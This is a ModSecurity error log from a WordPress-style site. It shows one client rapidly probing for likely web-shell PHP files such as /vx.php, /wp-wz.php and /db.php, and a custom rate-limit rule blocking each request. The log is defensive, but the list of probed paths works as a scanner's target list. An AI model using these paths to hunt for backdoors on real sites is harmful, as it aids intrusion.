[Sat May 23 22:14:59.022640 2026] [:error] [pid 30942:tid 31012] [client 20.63.33.98:35539] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-access.php"] [unique_id "ahG2Y9Uosz64YFiBlG2AMAAAAIk"]
[Sat May 23 22:15:00.295081 2026] [:error] [pid 44325:tid 44335] [client 20.63.33.98:25909] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-access.php"] [unique_id "ahG2ZFgUQb4puB_2yV84fgAAAYc"]
[Sat May 23 22:15:01.415874 2026] [:error] [pid 44326:tid 44361] [client 20.63.33.98:8899] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-access.php"] [unique_id "ahG2ZcyrPrcAqE-FOKK3CgAAAcY"]
[Sat May 23 22:15:02.025985 2026] [:error] [pid 30941:tid 30977] [client 20.63.33.98:34669] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-access.php"] [unique_id "ahG2ZnTIgjSDhiZmvlUOCwAAAEE"]
[Sat May 23 22:15:02.673028 2026] [:error] [pid 44296:tid 44320] [client 20.63.33.98:1173] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aevly.php"] [unique_id "ahG2ZpdrUdFI6ijvMkmcsgAAAVY"]
[Sat May 23 22:15:03.505748 2026] [:error] [pid 44326:tid 44379] [client 20.63.33.98:24202] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aevly.php"] [unique_id "ahG2Z8yrPrcAqE-FOKK3DQAAAdg"]
[Sat May 23 22:15:04.704953 2026] [:error] [pid 30941:tid 30977] [client 20.63.33.98:35047] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aevly.php"] [unique_id "ahG2aHTIgjSDhiZmvlUOFQAAAEE"]
[Sat May 23 22:15:05.818508 2026] [:error] [pid 25876:tid 25878] [client 20.63.33.98:24245] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aevly.php"] [unique_id "ahG2aQSpWUCKPezIBJC7KQAAAQA"]
[Sat May 23 22:15:06.646780 2026] [:error] [pid 25876:tid 25890] [client 20.63.33.98:57596] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vx.php"] [unique_id "ahG2agSpWUCKPezIBJC7KwAAAQw"]
[Sat May 23 22:15:07.219037 2026] [:error] [pid 31039:tid 31041] [client 20.63.33.98:25865] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vx.php"] [unique_id "ahG2a6IYDYo8WvA5zLJRZgAAAMA"]
[Sat May 23 22:15:07.985330 2026] [:error] [pid 44296:tid 44308] [client 20.63.33.98:24197] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vx.php"] [unique_id "ahG2a5drUdFI6ijvMkmcuAAAAUo"]
[Sat May 23 22:15:08.539128 2026] [:error] [pid 44296:tid 44317] [client 20.63.33.98:8943] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vx.php"] [unique_id "ahG2bJdrUdFI6ijvMkmcuQAAAVM"]
[Sat May 23 22:15:09.110998 2026] [:error] [pid 44326:tid 44375] [client 20.63.33.98:6992] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-wz.php"] [unique_id "ahG2bcyrPrcAqE-FOKK3DwAAAdQ"]
[Sat May 23 22:15:09.796036 2026] [:error] [pid 44326:tid 44373] [client 20.63.33.98:25862] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-wz.php"] [unique_id "ahG2bcyrPrcAqE-FOKK3EQAAAdI"]
[Sat May 23 22:15:12.067641 2026] [:error] [pid 30941:tid 30980] [client 20.63.33.98:35011] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-wz.php"] [unique_id "ahG2cHTIgjSDhiZmvlUOKQAAAEQ"]
[Sat May 23 22:15:14.217357 2026] [:error] [pid 44325:tid 44345] [client 20.63.33.98:26731] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-wz.php"] [unique_id "ahG2clgUQb4puB_2yV84hgAAAZE"]
[Sat May 23 22:15:15.867464 2026] [:error] [pid 44326:tid 44365] [client 20.63.33.98:24253] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/crgio.php"] [unique_id "ahG2c8yrPrcAqE-FOKK3GAAAAco"]
[Sat May 23 22:15:17.546930 2026] [:error] [pid 30941:tid 30981] [client 20.63.33.98:19320] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/crgio.php"] [unique_id "ahG2dXTIgjSDhiZmvlUOMgAAAEU"]
[Sat May 23 22:15:18.882633 2026] [:error] [pid 31039:tid 31062] [client 20.63.33.98:7002] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/crgio.php"] [unique_id "ahG2dqIYDYo8WvA5zLJRdQAAANU"]
[Sat May 23 22:15:19.471186 2026] [:error] [pid 30941:tid 30990] [client 20.63.33.98:34644] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/crgio.php"] [unique_id "ahG2d3TIgjSDhiZmvlUONwAAAE4"]
[Sat May 23 22:15:20.201271 2026] [:error] [pid 44296:tid 44306] [client 20.63.33.98:12585] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "ahG2eJdrUdFI6ijvMkmcwQAAAUg"]
[Sat May 23 22:15:20.805404 2026] [:error] [pid 44296:tid 44322] [client 20.63.33.98:7027] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "ahG2eJdrUdFI6ijvMkmcwwAAAVg"]
[Sat May 23 22:15:21.442315 2026] [:error] [pid 30941:tid 30982] [client 20.63.33.98:34650] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "ahG2eXTIgjSDhiZmvlUOPAAAAEY"]
[Sat May 23 22:15:22.126946 2026] [:error] [pid 44296:tid 44298] [client 20.63.33.98:34675] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "ahG2epdrUdFI6ijvMkmcxgAAAUA"]
[Sat May 23 22:15:23.005067 2026] [:error] [pid 44296:tid 44308] [client 20.63.33.98:57557] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "ahG2e5drUdFI6ijvMkmcyAAAAUo"]
[Sat May 23 22:15:24.106546 2026] [:error] [pid 44326:tid 44360] [client 20.63.33.98:1945] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "ahG2fMyrPrcAqE-FOKK3HAAAAcU"]
[Sat May 23 22:15:24.873863 2026] [:error] [pid 30941:tid 30976] [client 20.63.33.98:25132] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "ahG2fHTIgjSDhiZmvlUOQAAAAEA"]
[Sat May 23 22:15:26.344302 2026] [:error] [pid 44326:tid 44359] [client 20.63.33.98:16658] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "ahG2fsyrPrcAqE-FOKK3IQAAAcQ"]
[Sat May 23 22:15:27.005671 2026] [:error] [pid 31039:tid 31063] [client 20.63.33.98:25860] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccou.php"] [unique_id "ahG2f6IYDYo8WvA5zLJRegAAANY"]
[Sat May 23 22:15:27.523260 2026] [:error] [pid 30940:tid 30957] [client 20.63.33.98:26276] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccou.php"] [unique_id "ahG2f5qUP2XZmzp7RDoW0wAAAAg"]
[Sat May 23 22:15:28.099514 2026] [:error] [pid 30941:tid 30993] [client 20.63.33.98:34667] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccou.php"] [unique_id "ahG2gHTIgjSDhiZmvlUORAAAAFE"]
[Sat May 23 22:15:28.752095 2026] [:error] [pid 44325:tid 44332] [client 20.63.33.98:25140] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccou.php"] [unique_id "ahG2gFgUQb4puB_2yV84jgAAAYQ"]
[Sat May 23 22:15:29.408726 2026] [:error] [pid 44326:tid 44379] [client 20.63.33.98:24211] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/db.php"] [unique_id "ahG2gcyrPrcAqE-FOKK3KAAAAdg"]
[Sat May 23 22:15:30.185944 2026] [:error] [pid 30942:tid 31014] [client 20.63.33.98:35534] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/db.php"] [unique_id "ahG2gtUosz64YFiBlG2ASAAAAIs"]
[Sat May 23 22:15:30.773085 2026] [:error] [pid 44296:tid 44319] [client 20.63.33.98:26277] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/db.php"] [unique_id "ahG2gpdrUdFI6ijvMkmc5gAAAVU"]
[Sat May 23 22:15:31.768431 2026] [:error] [pid 30941:tid 30996] [client 20.63.33.98:25133] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/db.php"] [unique_id "ahG2g3TIgjSDhiZmvlUOVQAAAFQ"]
[Sat May 23 22:15:32.743530 2026] [:error] [pid 44296:tid 44313] [client 20.63.33.98:34668] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "ahG2hJdrUdFI6ijvMkmc9QAAAU8"]
[Sat May 23 22:15:33.423307 2026] [:error] [pid 44326:tid 44358] [client 20.63.33.98:26735] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "ahG2hcyrPrcAqE-FOKK3NwAAAcM"]
[Sat May 23 22:15:34.207497 2026] [:error] [pid 44325:tid 44345] [client 20.63.33.98:26269] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "ahG2hlgUQb4puB_2yV84kgAAAZE"]
[Sat May 23 22:15:34.890345 2026] [:error] [pid 30942:tid 31006] [client 20.63.33.98:34655] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "ahG2htUosz64YFiBlG2AWAAAAIM"]
[Sat May 23 22:15:35.487693 2026] [:error] [pid 31039:tid 31055] [client 20.63.33.98:17137] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yellow.php"] [unique_id "ahG2h6IYDYo8WvA5zLJRkgAAAM4"]
[Sat May 23 22:15:36.050690 2026] [:error] [pid 30941:tid 30979] [client 20.63.33.98:26271] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yellow.php"] [unique_id "ahG2iHTIgjSDhiZmvlUOZwAAAEM"]
[Sat May 23 22:15:36.840920 2026] [:error] [pid 30941:tid 30993] [client 20.63.33.98:26292] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yellow.php"] [unique_id "ahG2iHTIgjSDhiZmvlUObAAAAFE"]
[Sat May 23 22:15:37.471895 2026] [:error] [pid 31039:tid 31045] [client 20.63.33.98:32161] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yellow.php"] [unique_id "ahG2iaIYDYo8WvA5zLJRoAAAAMQ"]
[Sat May 23 22:15:38.145746 2026] [:error] [pid 44326:tid 44366] [client 20.63.33.98:32166] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mifta.php"] [unique_id "ahG2isyrPrcAqE-FOKK3QQAAAcs"]
[Sat May 23 22:15:38.739773 2026] [:error] [pid 30940:tid 30955] [client 20.63.33.98:34657] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mifta.php"] [unique_id "ahG2ipqUP2XZmzp7RDoW2gAAAAY"]
[Sat May 23 22:15:39.397685 2026] [:error] [pid 44325:tid 44335] [client 20.63.33.98:12233] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mifta.php"] [unique_id "ahG2i1gUQb4puB_2yV84lgAAAYc"]
[Sat May 23 22:15:40.246136 2026] [:error] [pid 30940:tid 30956] [client 20.63.33.98:13700] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mifta.php"] [unique_id "ahG2jJqUP2XZmzp7RDoW3gAAAAc"]
[Sat May 23 22:15:40.908741 2026] [:error] [pid 30940:tid 30951] [client 20.63.33.98:1420] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-firewall.php"] [unique_id "ahG2jJqUP2XZmzp7RDoW4QAAAAI"]
[Sat May 23 22:15:41.519988 2026] [:error] [pid 44326:tid 44357] [client 20.63.33.98:13315] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-firewall.php"] [unique_id "ahG2jcyrPrcAqE-FOKK3QwAAAcI"]
[Sat May 23 22:15:42.131289 2026] [:error] [pid 30940:tid 30957] [client 20.63.33.98:34655] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-firewall.php"] [unique_id "ahG2jpqUP2XZmzp7RDoW5QAAAAg"]
[Sat May 23 22:15:42.584095 2026] [:error] [pid 30940:tid 30960] [client 20.63.33.98:1933] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-firewall.php"] [unique_id "ahG2jpqUP2XZmzp7RDoW5wAAAAs"]
[Sat May 23 22:15:43.216863 2026] [:error] [pid 25876:tid 25885] [client 20.63.33.98:6582] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fun.php"] [unique_id "ahG2jwSpWUCKPezIBJC7VgAAAQc"]
[Sat May 23 22:15:43.790290 2026] [:error] [pid 31039:tid 31054] [client 20.63.33.98:1983] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fun.php"] [unique_id "ahG2j6IYDYo8WvA5zLJRpwAAAM0"]
[Sat May 23 22:15:44.366078 2026] [:error] [pid 31039:tid 31064] [client 20.63.33.98:1158] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fun.php"] [unique_id "ahG2kKIYDYo8WvA5zLJRqgAAANc"]
[Sat May 23 22:15:45.063395 2026] [:error] [pid 44296:tid 44309] [client 20.63.33.98:34670] [client 20.63.33.98] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fun.php"] [unique_id "ahG2kZdrUdFI6ijvMkmdEQAAAUs"]
